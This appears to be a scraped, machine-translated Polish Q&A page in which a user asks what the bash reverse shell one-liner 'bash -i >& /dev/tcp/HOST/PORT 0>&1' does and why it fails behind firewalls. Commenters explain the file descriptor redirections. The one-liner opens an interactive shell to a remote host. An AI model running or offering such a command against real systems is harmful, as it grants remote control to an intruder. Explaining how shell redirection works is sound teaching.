próbowałem
bash -i >& /dev/tcp/HOST/PORT 0>&1
ale wydaje się, że nie działa za zaporami ogniowymi. Co tak naprawdę robi ten kod, które porty są przekazywane i czy może działać za zaporami ogniowymi?
bash
io-redirection
tcp
Helos
źródło
źródło
/dev/tcp/HOST/PORT
? Zakładałem, że zastąpiłeś imięHOST
i numer przezPORT
. W przeciwnym razie otrzymasz komunikat o błędzie z bash. Ponieważ nie wspomniałeś o żadnym komunikacie o błędzie, zakładam, że go nie widziałeś.0<&1
części. Przeczytałem go jako „weź bash stdout (&1
) i potokuj go do bash stdin (0
)”, co ma sens. Czy możesz wyjaśnić, jak działa ta część?0<&1
oznacza połączenie tego, co jest aktualnie otwarte w deskryptorze pliku 1, z deskryptorem pliku 0. Ponieważ poprzednie przekierowanie>& /dev/tcp/HOST/PORT
połączyło fd 1 (domyślnie dla przekierowania wyjściowego) z/dev/tcp/HOST/PORT
, tj. otworzyło gniazdo TCP, duplikuje połączenie TCP do deskryptora pliku 0 (tj. to samo gniazdo jest teraz otwarte również na fd 0, różni się to od 0 </ dev / tcp / HOST / PORT, który otworzyłby inne gniazdo dla tego samego serwera).